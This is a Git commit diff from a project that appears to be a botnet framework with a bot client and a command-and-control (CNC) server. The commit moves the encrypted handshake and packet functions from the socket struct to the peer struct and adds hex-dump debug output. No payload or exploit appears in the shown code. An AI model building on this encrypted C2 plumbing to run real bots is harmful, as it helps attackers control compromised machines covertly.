mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
refactored laikaS_*Packet functions, added debugging output
This commit is contained in:
parent
5fe72e9eb0
commit
85d6cdcba1
@ -67,15 +67,15 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
laikaP_addSock(&bot->pList, sock);
|
||||
|
||||
/* queue handshake request */
|
||||
laikaS_startOutPacket(sock, LAIKAPKT_HANDSHAKE_REQ);
|
||||
laikaS_startOutPacket(bot->peer, LAIKAPKT_HANDSHAKE_REQ);
|
||||
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
||||
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
|
||||
laikaS_endOutPacket(sock); /* force packet body to be plaintext */
|
||||
laikaS_setSecure(sock, true); /* after the cnc receives our handshake, our packets will be encrypted */
|
||||
laikaS_endOutPacket(bot->peer); /* force packet body to be plaintext */
|
||||
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
|
||||
|
||||
if (crypto_kx_client_session_keys(bot->peer->sock.inKey, bot->peer->sock.outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
|
||||
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
|
||||
LAIKA_ERROR("failed to gen session key!\n")
|
||||
|
||||
if (!laikaS_handlePeerOut(bot->peer))
|
||||
|
@ -28,16 +28,16 @@ void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));
|
||||
|
||||
/* gen session keys */
|
||||
if (crypto_kx_server_session_keys(peer->sock.inKey, peer->sock.outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
|
||||
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
|
||||
LAIKA_ERROR("failed to gen session key!\n")
|
||||
|
||||
/* encrypt all future packets */
|
||||
laikaS_setSecure(&peer->sock, true);
|
||||
laikaS_setSecure(peer, true);
|
||||
|
||||
/* queue response */
|
||||
laikaS_startOutPacket(&peer->sock, LAIKAPKT_HANDSHAKE_RES);
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
|
||||
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
||||
laikaS_endOutPacket(&peer->sock);
|
||||
laikaS_endOutPacket(peer);
|
||||
|
||||
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
|
||||
}
|
||||
|
@ -27,7 +27,7 @@ enum {
|
||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||
* uint8_t endian;
|
||||
*/
|
||||
//LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ,
|
||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ,
|
||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
|
@ -20,6 +20,7 @@ typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
|
||||
struct sLaika_peer {
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
||||
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||
struct sLaika_pollList *pList; /* pollList we're active in */
|
||||
PeerPktHandler *handlers;
|
||||
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
|
||||
@ -27,12 +28,20 @@ struct sLaika_peer {
|
||||
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||
PEERTYPE type;
|
||||
int outStart; /* index of pktID for out packet */
|
||||
int inStart; /* index of pktID for in packet */
|
||||
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
|
||||
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
|
||||
};
|
||||
|
||||
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||
|
||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
|
||||
void laikaS_startOutPacket(struct sLaika_peer *peer, uint8_t id);
|
||||
int laikaS_endOutPacket(struct sLaika_peer *peer);
|
||||
void laikaS_startInPacket(struct sLaika_peer *peer);
|
||||
int laikaS_endInPacket(struct sLaika_peer *peer);
|
||||
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
|
||||
bool laikaS_handlePeerOut(struct sLaika_peer *peer);
|
||||
|
||||
|
@ -63,16 +63,12 @@ typedef enum {
|
||||
struct sLaika_socket {
|
||||
uint8_t *outBuf; /* raw data to be sent() */
|
||||
uint8_t *inBuf; /* raw data we recv()'d */
|
||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||
SOCKET sock; /* raw socket fd */
|
||||
int outCount;
|
||||
int inCount;
|
||||
int outCap;
|
||||
int inCap;
|
||||
int outStart; /* index of pktID for out packet */
|
||||
int inStart; /* index of pktID for in packet */
|
||||
bool flipEndian;
|
||||
bool useSecure; /* if true, sock will transmit/receive encrypted data using inKey & outKey */
|
||||
};
|
||||
|
||||
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
|
||||
@ -90,11 +86,6 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to por
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from);
|
||||
bool laikaS_setNonBlock(struct sLaika_socket *sock);
|
||||
|
||||
void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id);
|
||||
int laikaS_endOutPacket(struct sLaika_socket *sock);
|
||||
void laikaS_startInPacket(struct sLaika_socket *sock);
|
||||
int laikaS_endInPacket(struct sLaika_socket *sock);
|
||||
void laikaS_setSecure(struct sLaika_socket *sock, bool flag);
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
|
||||
|
@ -14,6 +14,9 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
|
||||
peer->type = PEER_UNVERIFIED;
|
||||
peer->pktID = LAIKAPKT_MAXNONE;
|
||||
peer->setPollOut = false;
|
||||
peer->outStart = -1;
|
||||
peer->inStart = -1;
|
||||
peer->useSecure = false;
|
||||
return peer;
|
||||
}
|
||||
|
||||
@ -22,6 +25,88 @@ void laikaS_freePeer(struct sLaika_peer *peer) {
|
||||
laikaM_free(peer);
|
||||
}
|
||||
|
||||
void laikaS_startOutPacket(struct sLaika_peer *peer, uint8_t id) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
if (peer->outStart != -1) { /* sanity check */
|
||||
LAIKA_ERROR("unended OUT packet!\n")
|
||||
}
|
||||
laikaS_writeByte(sock, id);
|
||||
|
||||
peer->outStart = sock->outCount;
|
||||
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */
|
||||
uint8_t nonce[crypto_secretbox_NONCEBYTES];
|
||||
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
|
||||
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
|
||||
}
|
||||
}
|
||||
|
||||
int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
uint8_t *body;
|
||||
size_t sz;
|
||||
|
||||
if (peer->useSecure) {
|
||||
/* make sure we have enough space */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap);
|
||||
|
||||
/* packet body starts after the id & nonce */
|
||||
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
|
||||
/* encrypt packet body in-place */
|
||||
if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
|
||||
LAIKA_ERROR("Failed to encrypt packet!\n")
|
||||
}
|
||||
|
||||
sock->outCount += crypto_secretbox_MACBYTES;
|
||||
}
|
||||
|
||||
sz = sock->outCount - peer->outStart;
|
||||
peer->outStart = -1;
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_startInPacket(struct sLaika_peer *peer) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
if (peer->inStart != -1) { /* sanity check */
|
||||
LAIKA_ERROR("unended IN packet!\n")
|
||||
}
|
||||
|
||||
peer->inStart = sock->inCount;
|
||||
}
|
||||
|
||||
int laikaS_endInPacket(struct sLaika_peer *peer) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
uint8_t *body;
|
||||
size_t sz = sock->inCount - peer->inStart;
|
||||
|
||||
if (peer->useSecure) {
|
||||
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
|
||||
|
||||
/* decrypt packet body in-place */
|
||||
if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
|
||||
LAIKA_ERROR("Failed to decrypt packet!\n")
|
||||
}
|
||||
|
||||
/* decrypted message is smaller now */
|
||||
sock->inCount -= crypto_secretbox_MACBYTES;
|
||||
|
||||
/* remove nonce */
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, peer->inStart, crypto_secretbox_NONCEBYTES);
|
||||
|
||||
sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
|
||||
}
|
||||
|
||||
peer->inStart = -1;
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
|
||||
peer->useSecure = flag;
|
||||
}
|
||||
|
||||
bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
RAWSOCKCODE err;
|
||||
int recvd;
|
||||
@ -32,8 +117,9 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
|
||||
/* read packet ID & mark start of packet */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
laikaS_startInPacket(&peer->sock);
|
||||
laikaS_startInPacket(peer);
|
||||
|
||||
/* sanity check packet ID */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE)
|
||||
@ -45,7 +131,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
LAIKA_ERROR("unsupported packet!\n")
|
||||
|
||||
/* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
|
||||
if (peer->sock.useSecure)
|
||||
if (peer->useSecure)
|
||||
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
|
||||
|
||||
break;
|
||||
@ -78,7 +164,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
/* have we received the full packet? */
|
||||
if (peer->pktSize == peer->sock.inCount) {
|
||||
PeerPktHandler hndlr = peer->handlers[peer->pktID];
|
||||
peer->pktSize = laikaS_endInPacket(&peer->sock);
|
||||
peer->pktSize = laikaS_endInPacket(peer);
|
||||
|
||||
if (hndlr != NULL) {
|
||||
hndlr(peer, peer->pktSize, peer->uData); /* dispatch to packet handler */
|
||||
|
@ -47,10 +47,7 @@ void laikaS_initSocket(struct sLaika_socket *sock) {
|
||||
sock->outBuf = NULL;
|
||||
sock->outCap = ARRAY_START;
|
||||
sock->outCount = 0;
|
||||
sock->inStart = -1;
|
||||
sock->outStart = -1;
|
||||
sock->flipEndian = false;
|
||||
sock->useSecure = false;
|
||||
|
||||
laikaS_init();
|
||||
}
|
||||
@ -175,82 +172,6 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id) {
|
||||
if (sock->outStart != -1) { /* sanity check */
|
||||
LAIKA_ERROR("unended OUT packet!\n")
|
||||
}
|
||||
laikaS_writeByte(sock, id);
|
||||
|
||||
sock->outStart = sock->outCount;
|
||||
if (sock->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */
|
||||
uint8_t nonce[crypto_secretbox_NONCEBYTES];
|
||||
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
|
||||
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
|
||||
}
|
||||
}
|
||||
|
||||
int laikaS_endOutPacket(struct sLaika_socket *sock) {
|
||||
uint8_t *body;
|
||||
size_t sz;
|
||||
|
||||
if (sock->useSecure) {
|
||||
/* make sure we have enough space */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap);
|
||||
|
||||
/* packet body starts after the id & nonce */
|
||||
body = &sock->outBuf[sock->outStart + crypto_secretbox_NONCEBYTES];
|
||||
/* encrypt packet body in-place */
|
||||
if (crypto_secretbox_easy(body, body, (sock->outCount - sock->outStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->outBuf[sock->outStart], sock->outKey) != 0) {
|
||||
LAIKA_ERROR("Failed to encrypt packet!\n")
|
||||
}
|
||||
|
||||
sock->outCount += crypto_secretbox_MACBYTES;
|
||||
}
|
||||
|
||||
sz = sock->outCount - sock->outStart;
|
||||
sock->outStart = -1;
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_startInPacket(struct sLaika_socket *sock) {
|
||||
if (sock->inStart != -1) { /* sanity check */
|
||||
LAIKA_ERROR("unended IN packet!\n")
|
||||
}
|
||||
|
||||
sock->inStart = sock->inCount;
|
||||
}
|
||||
|
||||
int laikaS_endInPacket(struct sLaika_socket *sock) {
|
||||
uint8_t *body;
|
||||
size_t sz = sock->inCount - sock->inStart;
|
||||
|
||||
if (sock->useSecure) {
|
||||
body = &sock->inBuf[sock->inStart + crypto_secretbox_NONCEBYTES];
|
||||
|
||||
/* decrypt packet body in-place */
|
||||
if (crypto_secretbox_open_easy(body, body, (sock->inCount - sock->inStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->inBuf[sock->inStart], sock->inKey) != 0) {
|
||||
LAIKA_ERROR("Failed to decrypt packet!\n")
|
||||
}
|
||||
|
||||
/* decrypted message is smaller now */
|
||||
sock->inCount -= crypto_secretbox_MACBYTES;
|
||||
|
||||
/* remove nonce */
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, sock->inStart, crypto_secretbox_NONCEBYTES);
|
||||
|
||||
sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
|
||||
}
|
||||
|
||||
sock->inStart = -1;
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_setSecure(struct sLaika_socket *sock, bool flag) {
|
||||
sock->useSecure = flag;
|
||||
}
|
||||
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
memcpy(buf, sock->inBuf, sz);
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||
@ -348,10 +269,24 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
/* if the socket closed or an error occurred, return the error result */
|
||||
errCode = RAWSOCK_ERROR;
|
||||
} else if (rcvd > 0) {
|
||||
#ifdef DEBUG
|
||||
/* for debugging */
|
||||
int i;
|
||||
printf("---recv'd %d bytes---\n", rcvd);
|
||||
for (i = 1; i <= rcvd; i++) {
|
||||
printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]);
|
||||
if (i % 16 == 0) {
|
||||
printf("\n");
|
||||
} else if (i % 8 == 0) {
|
||||
printf("\t");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
#endif
|
||||
|
||||
/* recv() worked, add rcvd to inCount */
|
||||
sock->inCount += rcvd;
|
||||
}
|
||||
|
||||
*processed = rcvd;
|
||||
return errCode;
|
||||
}
|
||||
@ -389,6 +324,21 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
} while((sentBytes += sent) < sz);
|
||||
|
||||
_rawWriteExit:
|
||||
#ifdef DEBUG
|
||||
/* for debugging */
|
||||
int i;
|
||||
printf("---sent %d bytes---\n", sent);
|
||||
for (i = 1; i <= sentBytes; i++) {
|
||||
printf("%.2x ", sock->outBuf[i-1]);
|
||||
if (i % 16 == 0) {
|
||||
printf("\n");
|
||||
} else if (i % 8 == 0) {
|
||||
printf("\t");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
#endif
|
||||
|
||||
/* trim sent data from outBuf */
|
||||
laikaM_rmvarray(sock->outBuf, sock->outCount, 0, sentBytes);
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user